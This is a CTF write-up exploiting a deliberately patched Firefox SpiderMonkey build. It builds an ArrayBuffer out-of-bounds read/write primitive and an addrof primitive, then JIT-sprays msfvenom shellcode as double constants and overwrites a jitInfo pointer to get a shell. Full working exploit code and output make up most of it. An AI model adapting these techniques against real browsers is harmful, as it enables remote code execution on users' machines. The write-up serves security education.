Browser Exploitation: Firefox OOB to RCE

Browser Exploitation: Firefox OOB to RCE

Intro

In this post, we will exploit Midenios, a good introductory browser exploitation challenge that was originally used for the HackTheBox Business-CTF. I had some experience exploiting IE/Edge/Chrome before, but exploiting Firefox was mostly new to me. I solved this challenge way after the CTF so I had some existing writeups to fall back on. There were a lot of excellent resources that helped with developing the exploit, here are some of them:

Definitely check out the write-up by 0xten because it follows a different exploitation path after obtaining the read/write primitive. Since it’s been a long time since I did anything with Firefox there might be some inaccuracies – if you find something please let me know I want to learn more 🙂

Vulnerability

The challenge itself has a website that allows you to submit unsanitized HTML input which is later visited by a bot. We can submit script tags to achieve a “persistent” XSS: <script src="http://127.0.0.1/exploit.js"></script>. The bot is using a vulnerable, custom-patched version of Firefox to visit the page and is executing the user-provided JavaScript.

Besides the website, we are provided an archive that contains a “patch.diff” which shows the changes made to the code base, and a “mozconfig” that shows that debug mode is enabled.

mozconfig

ac_add_options --enable-debug

patch.diff (shorted and commented, all changes to js/src/vm/ArrayBufferObject.cpp,js/src/vm/ArrayBufferObject.h):

# added a setter for byteLength 
-    JS_PSG("byteLength", ArrayBufferObject::byteLengthGetter, 0),
+    JS_PSGS("byteLength", ArrayBufferObject::byteLengthGetter, ArrayBufferObject::byteLengthSetter, 0),


# added implementation for the byteLength setter
+MOZ_ALWAYS_INLINE bool ArrayBufferObject::byteLengthSetterImpl(
+    JSContext* cx, const CallArgs& args) {
+  MOZ_ASSERT(IsArrayBuffer(args.thisv()));
+
+  // Steps 1-2
+  auto* buffer = &args.thisv().toObject().as<ArrayBufferObject>();
+  if (buffer->isDetached()) {
+    JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr,
+                              JSMSG_TYPED_ARRAY_DETACHED);
+    return false;
+  }
+
+  // Step 3
+  double targetLength;
+  if (!ToInteger(cx, args.get(0), &targetLength)) {
+    return false;
+  }
+
+  if (buffer->isDetached()) { // Could have been detached during argument processing
+    JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr,
+                              JSMSG_TYPED_ARRAY_DETACHED);
+    return false;
+  }
+
+  // Step 4
+  buffer->setByteLength(targetLength);
+
+  args.rval().setUndefined();
+  return true;
+}


# removed length sanity check
void ArrayBufferObject::setByteLength(size_t length) {
-  MOZ_ASSERT(length <= maxBufferByteLength());
+//  MOZ_ASSERT(length <= maxBufferByteLength());
   setFixedSlot(BYTE_LENGTH_SLOT, PrivateValue(length));
}

We can see that a new setter was added that allows to set byteLength on an ArrayBuffer and that a check was removed that was checking whether the length is below maxBufferByteLength. Without reading everything in the patch diff we can already assume that we will have to create an ArrayBuffer object and then set its byteLength to a large value to achieve out-of-bounds memory access when accessing the contents of the ArrayBuffer.

Before trying to verify our assumption we have to create a debug environment to develop the exploit.

Preparing the debug environment

To quickly test our exploit without having to start Firefox itself, we can compile its JavaScript engine, Spidermonkey, locally. We will do that both in debug and in release mode (the reason for both will be clear later):

rustup update
hg clone http://hg.mozilla.org/mozilla-central spidermonkey
cd spidermonkey

spidermonkey patch -p1 < ../pwn_midenios/src/diff.patch
patching file js/src/vm/ArrayBufferObject.cpp
Hunk #1 succeeded at 325 (offset -11 lines).
Hunk #2 succeeded at 366 (offset -11 lines).
Hunk #3 succeeded at 1031 (offset -7 lines).
patching file js/src/vm/ArrayBufferObject.h
Hunk #1 succeeded at 167 (offset 1 line).
Hunk #2 succeeded at 339 (offset 1 line).

cd spidermonkey/js/src
mkdir build_DBG.OBJ
cd build_DBG.OBJ
../configure --enable-debug --disable-optimize
make -j8

cd ..
mkdir build.OBJ
cd build.OBJ
../configure --disable-debug --disable-optimize
make -j8

After compiling both versions we can find the js executable in both build directories in dist/bin/. For debugging I will use gdb with https://hugsy.github.io/gef/. Now that we have our environment setup, we can write a simple PoC that does an out-of-bounds read.

We define an ArrayBuffer “A” and use the new byteLength setter to put a large value there. We then create another ArrayBuffer “B” just to have an adjacent object in memory (it will be placed exactly next to the first one). Then we create a TypedArray (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray) from our ArrayBuffer. This is done so we can access the contents of the underlying binary buffer as an array.

Finally, we try to dump the contents of “A” which is only defined up to the 10th iteration (we set the size to 80 – so 10 8-byte values). However, due to our manipulated byte length, we can now print beyond that boundary and dump the memory of the adjacent object “B”.

Poc_0x01.js

// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)
aBuf[0] = 0x4141414141414141n


// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBuf = new BigUint64Array(bBuf)
bBuf[0] = 0x4242424242424242n

// access A as a TypedArray out of bounds to read some metadata/data of B
for(let i=0;i<20;i++){
    console.log(`${i} ${aBuf[i].toString(16)}`)
}

Running the PoC shows that we can indeed access beyond the size of the ArrayBuffer and see memory that does not belong to it:

spidermonkey/js/src/build_DBG.OBJ/dist/bin/js -i pwn_0x01.js
0 4141414141414141
1 0
2 0
3 0
4 0
5 0
6 0
7 0
8 0
9 0
10 fffe4d4d4d4d4d4d
11 fffe4d4d4d4d4d4d
12 58dcd466700
13 5618d8518088
14 5618d8517828
15 58dcd46a160
16 50
17 fffe3ee4bd6007e0
18 fff8800000000000
19 4242424242424242

Obtaining a read/write primitive

So what are these values? Let’s have a look in gdb at “A” first (which is a TypedArray):

gdb -p $(pidof js)

gef➤  grep 0x4141414141414141
[+] Searching '\x41\x41\x41\x41\x41\x41\x41\x41' in memory
[+] In (0x58dcd400000-0x58dcd500000), permission=rw-
  0x58dcd469038 - 0x58dcd469040  →   "AAAAAAAA"
  0x58dcd46a0c8 - 0x58dcd46a0d0  →   "AAAAAAAA"
[+] In (0x3ee4bd600000-0x3ee4bd700000), permission=rw-
  0x3ee4bd600848 - 0x3ee4bd600868  →   "\x41\x41\x41\x41\x41\x41\x41\x41[...]"
[+] In '/usr/lib/x86_64-linux-gnu/libc.so.6'(0x7f4343996000-0x7f43439ee000), permission=r--
  0x7f43439bc440 - 0x7f43439bc460  →   "\x41\x41\x41\x41\x41\x41\x41\x41[...]"
  0x7f43439bc448 - 0x7f43439bc468  →   "\x41\x41\x41\x41\x41\x41\x41\x41[...]"
  0x7f43439bc450 - 0x7f43439bc470  →   "\x41\x41\x41\x41\x41\x41\x41\x41[...]"
  0x7f43439bc458 - 0x7f43439bc478  →   "\x41\x41\x41\x41\x41\x41\x41\x41[...]"


gef➤  x/40xg 0x58dcd46a0c8-0x40
0x58dcd46a088:    0x0000000000000000                  0x0000058dcd466700 (*shape)
0x58dcd46a098:    0x00005618d8518088 (*slots)         0x00005618d8517828 (*elementsHdr)
0x58dcd46a0a8:    0x0000058dcd46a0c8 (*elementsData)  0x00000000000003e8 (byteLength)
0x58dcd46a0b8:    0xfffe3ee4bd6007a0 (*typedArray)    0xfff8800000000000 (offset)
0x58dcd46a0c8:    0x4141414141414141 (data start)     0x0000000000000000 
0x58dcd46a0d8:    0x0000000000000000                  0x0000000000000000  
0x58dcd46a0e8:    0x0000000000000000                  0x0000000000000000  
0x58dcd46a0f8:    0x0000000000000000                  0x0000000000000000  
0x58dcd46a108:    0x0000000000000000                  0x0000000000000000 (data end)
0x58dcd46a118:    0xfffe4d4d4d4d4d4d                  0xfffe4d4d4d4d4d4d
0x58dcd46a128:    0x0000058dcd466700                  0x00005618d8518088
0x58dcd46a138:    0x00005618d8517828                  0x0000058dcd46a160 
0x58dcd46a148:    0x0000000000000050                  0xfffe3ee4bd6007e0
0x58dcd46a158:    0xfff8800000000000                  0x4242424242424242 
...

We can relatively easily find the same values in gdb by grepping for 0x4141414141414141 which we placed as the first value in the “A” array. To understand what these values are, we have to look at how these objects work internally. I annotated the first object in the debug view above to show what some of these values are representing.

The structure we see here is based on a NativeObject which most JavaScript objects inherit from (in the source it does not look exactly like this but it helps in understanding the layout (https://searchfox.org/mozilla-central/source/js/src/vm/NativeObject.h#547). I tried to illustrate the memory layout below (some of the names I made up):

---[Meta Data]---
*shape
*slots
*elementsHeader
*elementsData  --------------
byteLength                   |
*typedArrayObj               |
offset                       |
---[Data]---                 |
0x414141414141         <-----
...

shape: Points to names of properties and corresponding indices into the slots array.

slots: Points to an array of values for properties. Here: emptyObjectSlotsHeaders.

elementsHeader: Here emptyElementsHeader.

elementsData: Points to the data (our array contents).

byteLength: The byteLength we can set via the vulnerable setter.

typedArrayObj: This is a tagged pointer that is pointing to the BigUint64Array Metadata.

offset: Contains 0xfff8800000000000 which is the value zero, type tagged as an integer.

More detailed information can be found in this post: https://vigneshsrao.github.io/posts/play-with-spidermonkey/. The most important value, for now, is the data pointer (here: 0x0000058dcd46a0c8) which points to the actual data being stored in the ArrayBuffer. Since we set the length of ArrayBuffer “A” to 1000, we can read or write any of the following 125 (1000/8) values. If we were to overwrite the data pointer of ArrrayBuffer “B” to a location where we want to read or write, we could then simply index into “B” to read or write anywhere on the system.

Let’s test this assumption and create some helper functions read64 and write64. These functions both use the out-of-bounds write we achieved via “A” to set the data pointer of “B” to a location of our choice. We then either read or set the value by indexing into “B” as TypedArray.

// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)
aBuf[0] = 0x4141414141414141n

// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBufTyped = new BigUint64Array(bBuf)
bBufTyped[0] = 0x4242424242424242n
bBufTyped[1] = 0x4343434343434343n


function read64(addr){
    // overwrite metadata, pointer to data
    aBuf[15] = addr
    // access B as a TypedArray to get a 64 bit value back
    let typedB = new BigUint64Array(bBuf)
    // return first element (exactly where the changed data pointer points to)
    return typedB[0]
}

function write64(addr, value){
    // overwrite metadata, pointer to data
    aBuf[15] = addr
    // access B as a TypedArray to get a 64 bit value back
    let typedB = new BigUint64Array(bBuf)
    // set first element (exactly where the changed data pointer points to)
    typedB[0] = value
}

Let’s test the read primitive by reading some values from pointers we see in gdb:

0x3f20d3c6a098: 0x000055fd568dc088  0x000055fd568db828
0x3f20d3c6a0a8: 0x00003f20d3c6a0c8  0x00000000000003e8
0x3f20d3c6a0b8: 0xfffe09cda9d007e0  0xfff8800000000000
0x3f20d3c6a0c8: 0x4141414141414141  0x0000000000000000
0x3f20d3c6a0d8: 0x0000000000000000  0x0000000000000000
0x3f20d3c6a0e8: 0x0000000000000000  0x0000000000000000
0x3f20d3c6a0f8: 0x0000000000000000  0x0000000000000000
0x3f20d3c6a108: 0x0000000000000000  0x0000000000000000
0x3f20d3c6a118: 0xfffe4d4d4d4d4d4d  0xfffe4d4d4d4d4d4d
0x3f20d3c6a128: 0x00003f20d3c66720  0x000055fd568dc088
0x3f20d3c6a138: 0x000055fd568db828  0x00003f20d3c6a160
0x3f20d3c6a148: 0x0000000000000050  0xfffe09cda9d00820
0x3f20d3c6a158: 0xfff8800000000000  0x4242424242424242
0x3f20d3c6a168: 0x4343434343434343  0x0000000000000000
0x3f20d3c6a178: 0x0000000000000000  0x0000000000000000
0x3f20d3c6a188: 0x0000000000000000  0x0000000000000000
0x3f20d3c6a198: 0x0000000000000000  0x0000000000000000
0x3f20d3c6a1a8: 0x0000000000000000  0xfffe4d4d4d4d4d4d
0x3f20d3c6a1b8: 0xfffe4d4d4d4d4d4d  0x0000000000000000
0x3f20d3c6a1c8: 0x0000000000000000  0x000000000000000
js> console.log(read64(0x00003f20d3c6a160n).toString(16))
4242424242424242
js> console.log(read64(0x00003f20d3c6a168n).toString(16))
4343434343434343
js> console.log(read64(0x000055fd568dc088n).toString(16))
100000000

Writing works as well:

write64(0x00003f20d3c6a160n, 0xcafecafecafecafen)
js> console.log(read64(0x00003ed0df26a160n).toString(16))
cafecafecafecafe

One more primitive

Before we think about what we want to read or write we want to create another helper function that gives us the address of an arbitrary JavaScript object. This is very useful if we want to overwrite pointers in certain JavaScript Objects later on.

function addrof(obj){
    // Set a new property on the ArrayBuffer, it will be pointed to by the slots pointer (offset 13)
    bBuf.leak = obj
    // read the slots pointer back
    _slots = aBuf[13]
    // dereference the slots pointer and return it (while masking off any pointer tagging)
    return read64(_slots) & 0xffffffffffffn
}

This function requires some explanation. When we create a property on a JavaScript object a pointer to those properties exists inside the object’s metadata (just like our data pointer from before). On the last memory dump we had no properties defined but can still see the slots pointer 2 values before the data pointer:

...
0x3f20d3c6a118: 0xfffe4d4d4d4d4d4d  0xfffe4d4d4d4d4d4d
0x3f20d3c6a128: 0x00003f20d3c66720  0x000055fd568dc088 < slots
0x3f20d3c6a138: 0x000055fd568db828  0x00003f20d3c6a160 < elementsData
0x3f20d3c6a148: 0x0000000000000050  0xfffe09cda9d00820
0x3f20d3c6a158: 0xfff8800000000000  0x424242424242424
...

Now if we define a custom property b.leak and then use our read primitive to dereference the slots pointer, we get the address of our obj which was placed in the slots array. Note that we must mask off the first 2 bytes since these encode type information (pointer tagging).

Exploitation

If we think about exploitation, we want to get shellcode somewhere in memory and execute it. Unfortunately, it is not that easy because via JavaScript writeable locations are not executable and anything we write from JavaScript might just be interpreted and not even appear consecutive in memory. Even if we had our shellcode in memory and it would be executable – we would still need to find a way to jump to it using just JavaScript since we have some primitives but no control over any registers or the instruction pointer.

Let’s solve the shellcode problem first. One way to get your own code into executable memory is to use double constants. I learned about this method in this SentinelOne blog post: https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/. Doubles have an 8-byte backing buffer and if we define a bunch of them as constants after another we can get our shellcode bytes in consecutive, executable memory. I wrote a simple online converter to convert shellcode to doubles: https://vulndev.io/shellcode-converter/.

Shellcode

msfvenom -p linux/x64/exec cmd="/bin/sh -c 'id; bash'" -f csharp

byte[] buf = new byte[58] {0x48,0xb8,0x2f,0x62,0x69,0x6e,
0x2f,0x73,0x68,0x00,0x99,0x50,0x54,0x5f,0x52,0x66,0x68,0x2d,
0x63,0x54,0x5e,0x52,0xe8,0x16,0x00,0x00,0x00,0x2f,0x62,0x69,
0x6e,0x2f,0x73,0x68,0x20,0x2d,0x63,0x20,0x27,0x69,0x64,0x3b,
0x20,0x62,0x61,0x73,0x68,0x27,0x00,0x56,0x57,0x54,0x5e,0x6a,
0x3b,0x58,0x0f,0x05};

Converted Shellcode

6.867659397734779e+246
7.806615353364766e+184
2.541954188459429e-198
3.2060568060029287e-80
3.4574612453438036e+198
7.57500810708945e-119
1.0802257739008538e+117
-6.828527034370483e-229

Now we define the constants in a function and then call it often enough to trigger the JIT compiler. The JIT compiler essentially compiles certain code from JavaScript to native code if it makes sense (e.g. it’s used a lot) in order to optimize for speed. By calling our function a lot of times we enforce the behavior. Now we can use our addrof primitive to get the address of our JITted function and then use gdb to inspect the memory. Note that we added the double for \x41\x41\x41\x41 as the first constant in order to find the shellcode in memory.

PoC_0x02.js

// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)

// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBufTyped = new BigUint64Array(bBuf)

function read64(addr){
    // overwrite metadata, pointer to data
    aBuf[15] = addr
    let typedB = new BigUint64Array(bBuf)
    return typedB[0]
}

function write64(addr, value){
    // overwrite metadata, pointer to data
    aBuf[15] = addr
    // access B as a TypedArray to get a 64 bit value back
    let typedB = new BigUint64Array(bBuf)
    // set first element (exactly where the changed data pointer points to)
    typedB[0] = value
}

function addrof(obj){
    // Set a new property on the ArrayBuffer, its pointer will be pointed to by the slots pointer (offset 13)
    bBuf.leak = obj
    // read the slots pointer back
    _slots = aBuf[13]
    // dereference the slots pointer and return it (while masking off any pointer tagging)
    return read64(_slots) & 0xffffffffffffn
}

function shellcode (){
    EGG = 5.40900888e-315;          // 0x41414141 in memory, marker to find
    C01 = -6.828527034422786e-229;  // 0x9090909090909090
    C02 = 6.867659397734779e+246     
    C03 = 7.806615353364766e+184
    C04 = 2.541954188459429e-198
    C05 = 3.2060568060029287e-80
    C06 = 3.4574612453438036e+198
    C07 = 7.57500810708945e-119
    C08 = 1.0802257739008538e+117
    C09 = -6.828527034370483e-229    
}

// JIT Spray - will make sure the constants are compiled to native code and create our shellcode
for (let i = 0; i < 100000; i++) {
    shellcode();
}
console.log(addrof(shellcode).toString(16));
1362e6600860
js>

gef➤  tele 0x1362e6600860
0x001362e6600860│+0x0000: 0x00209976a3d160  →  0x00209976a3c0a0  →  0x0056278d78d150  →  0x0056278d845433  →  "Function"
0x001362e6600868│+0x0008: 0x0056278c099088  →  <emptyObjectSlotsHeaders+8> add BYTE PTR [rax], al
0x001362e6600870│+0x0010: 0x0056278c098828  →  <emptyElementsHeader+16> add BYTE PTR [rax], al
0x001362e6600878│+0x0018: 0xfff88000000000a0
0x001362e6600880│+0x0020: 0xfffe209976a3f038
0x001362e6600888│+0x0028: 0x00209976a68150  →  0x002762b3c15cb0  →  0x0fc4f640ec8b4855
0x001362e6600890│+0x0030: 0xfffb209976a652a0
0x001362e6600898│+0x0038: 0x007f71b6cdca18  →  0x007f71b6cdc000  →  0x007f71b6c18000  →  0x0000000000000000
0x001362e66008a0│+0x0040: 0x00209976a6c1c0  →  0x00209976a3c2c8  →  0x0056278d793a90  →  0x0056278bf5b763  →  "BigUint64Array"
0x001362e66008a8│+0x0048: 0x0056278c099088  →  <emptyObjectSlotsHeaders+8> add BYTE PTR [rax], al

This gives us the address of the JSFunction object of the function. When we look at offset 0x28 we can see an interesting pointer to a heap region. This is the jitInfo pointer (JSFunction.u.native.extra.jitInfo) and points to the JIT code of the function at 0x002762b3c15cb0. This is likely more than just our shellcode though since we just defined constants and its just treated as data at this point. We can disassemble at that address as code and notice that this looks like “real” instructions and not some random data:

x/100i 0x002762b3c15cb0

0x2762b3c15cb0:      push   rbp
0x2762b3c15cb1:      mov    rbp,rsp
0x2762b3c15cb4:      test   spl,0xf
0x2762b3c15cb8:      je     0x2762b3c15cbf
0x2762b3c15cbe:      int3
   ...

So let’s search for our marker and compare the pointers:

gef➤  grep 0x41414141
...
0x2762b3c16d90 - 0x2762b3c16d94  →   "AAAA"
...

We calculate: 0x2762b3c16d90 - 0x002762b3c15cb0 = 0x10E0. This means the JIT area of this function is actually pretty big but if search forward through it we would eventually find our marker. Let’s see if the constants ended up in memory as our shellcode:

x/20xg 0x2762b3c16d90

0x2762b3c16d90: 0x0000000041414141      0x9090909090909090
0x2762b3c16da0: 0x732f6e69622fb848      0x66525f5450990068
0x2762b3c16db0: 0x16e8525e54632d68      0x2f6e69622f000000
...

And as we can see, we found not only our marker but also the shellcode we intended in the correct order on a read/execute page.

After having solved the “shellcode problem” we still need a way to dynamically locate it (since it’s somewhere at a changing offset from where the jitInfo pointer points) and transfer execution to it. Finding the location is not that difficult as we can use our read primitive to scan the memory until we find the marker:

...
shellcode_addr = addrof(shellcode);
console.log("[>] Function @ " + shellcode_addr.toString(16));

// Get the jetInfo pointer in the JSFunction object (JSFunction.u.native.extra.jitInfo_)
jitinfo = read64(shellcode_addr + 0x28n);
console.log("[>] Jitinfo @ " + jitinfo.toString(16));

// Dereference pointer to get RX Region
rx_region = read64(jitinfo & 0xffffffffffffn);
console.log("[>] Jit RX @ " + rx_region.toString(16));


// Iterate to find magic value (since the shellcode is not at the start of the rx_region)
it = rx_region; // Start from the RX region
found = false
for(i = 0; i < 0x800; i++) {
    data = read64(it);
    if(data == 0x41414141n) {
    it = it + 8n;  // 8 byte offset to account for magic value
    found = true;
    break;
    }
    it = it + 8n;
}
if(!found) {
    console.log("[-] Failed to find Jitted shellcode in memory");
} 

There is one problem here – if you run it in the debug version it fails:

Assertion failure: !cx->nursery().isInside(ptr)

When running release it does however work. Debug adds some assertions to make sure nothing funky is going on – so most of the time it’s a good idea to start with the debug version but switch to release at some point. In this case, the challenge itself is however also running in debug mode so we will have to fix our exploit to work around that! What I noticed other people are doing to get around this is essentially looping until the shellcode pointer changes (often with some additional logic that didn’t appear to be required) – I have no idea why this is required but it works (please let me know!). So what we can add is a simple loop that waits for that change to occur:

shellcode_addr = addrof(shellcode);   
while(shellcode_addr == addrof(shellcode)){
        // just block until we get the updated addr 
}
shellcode_addr = addrof(shellcode);   

With that last problem out of the way, transferring execution to our shellcode is actually quite easy because we can just write to the jitInfo pointer with the location of our shellcode:

write64(jitinfo, shellcode_location);
shellcode();

With this, we modified the native code that is executed whenever we call the shellcode function. Remember that before we did define some constants but it was never intended to be code – just (constant) data. By setting the jitInfo pointer forward to these constants we make it code! With this last part being done, we now have a full PoC and can run it to execute commands:

Full exploit

// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)

// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBufTyped = new BigUint64Array(bBuf)

function read64(addr){
    // overwrite metadata, pointer to data
    aBuf[15] = addr
    let typedB = new BigUint64Array(bBuf)
    return typedB[0]
}

function write64(addr, value){
    // overwrite metadata, pointer to data
    aBuf[15] = addr
    // access B as a TypedArray to get a 64 bit value back
    let typedB = new BigUint64Array(bBuf)
    // set first element (exactly where the changed data pointer points to)
    typedB[0] = value
}

function addrof(obj){
    // Set a new property on the ArrayBuffer, its pointer will be pointed to by the slots pointer (offset 13)
    bBuf.leak = obj
    // read the slots pointer back
    _slots = aBuf[13]
    // dereference the slots pointer and return it (while masking off any pointer tagging)
    return read64(_slots) & 0xffffffffffffn
}

function shellcode (){
    EGG = 5.40900888e-315;          // 0x41414141 in memory, marker to find
    C01 = -6.828527034422786e-229;  // 0x9090909090909090
    C02 = 6.867659397734779e+246     
    C03 = 7.806615353364766e+184
    C04 = 2.541954188459429e-198
    C05 = 3.2060568060029287e-80
    C06 = 3.4574612453438036e+198
    C07 = 7.57500810708945e-119
    C08 = 1.0802257739008538e+117
    C09 = -6.828527034370483e-229
}

// JIT Spray - will make sure the constants are compiled to native code and create our shellcode
for (let i = 0; i < 100000; i++) {
    shellcode();
}

// workaround to make the exploit work in release and debug version
shellcode_addr = addrof(shellcode);   
while(shellcode_addr == addrof(shellcode)){
    // just block until we get the updated addr 
}
shellcode_addr = addrof(shellcode);   
console.log("[>] Function @ " + shellcode_addr.toString(16));

// Get the jetInfo pointer in the JSFunction object (JSFunction.u.native.extra.jitInfo_)
jitinfo = read64(shellcode_addr + 0x28n);
console.log("[>] Jitinfo @ " + jitinfo.toString(16));

// Dereference pointer to get RX Region
rx_region = read64(jitinfo & 0xffffffffffffn);
console.log("[>] Jit RX @ " + rx_region.toString(16));


// Iterate to find magic value (since the shellcode is not at the start of the rx_region)
it = rx_region; // Start from the RX region
found = false
for(i = 0; i < 0x800; i++) {
    data = read64(it);
    if(data == 0x41414141n) {
    it = it + 8n;  // 8 byte offset to account for magic value
    found = true;
    break;
    }
    it = it + 8n;
}
if(!found) {
    console.log("[-] Failed to find Jitted shellcode in memory");
}  

shellcode_location = it;
console.log("[>] Shellcode @ " + shellcode_location.toString(16));

// Overwrite jitInfo pointer and execute modified function
write64(jitinfo, shellcode_location);
shellcode();

This yields a shell:

[>] Function @ 279b70d00860
[>] Jitinfo @ 159537965150
[>] Jit RX @ 2ed9ab64b990
[>] Shellcode @ 2ed9ab64bd30
uid=1000(xct) gid=1000(xct) groups=1000(xct)
xct@kali:/home/xct$

For the remote version, just replace the shellcode with something that will grab the flag – I’ll leave that as an exercise for the reader 😉

Share this post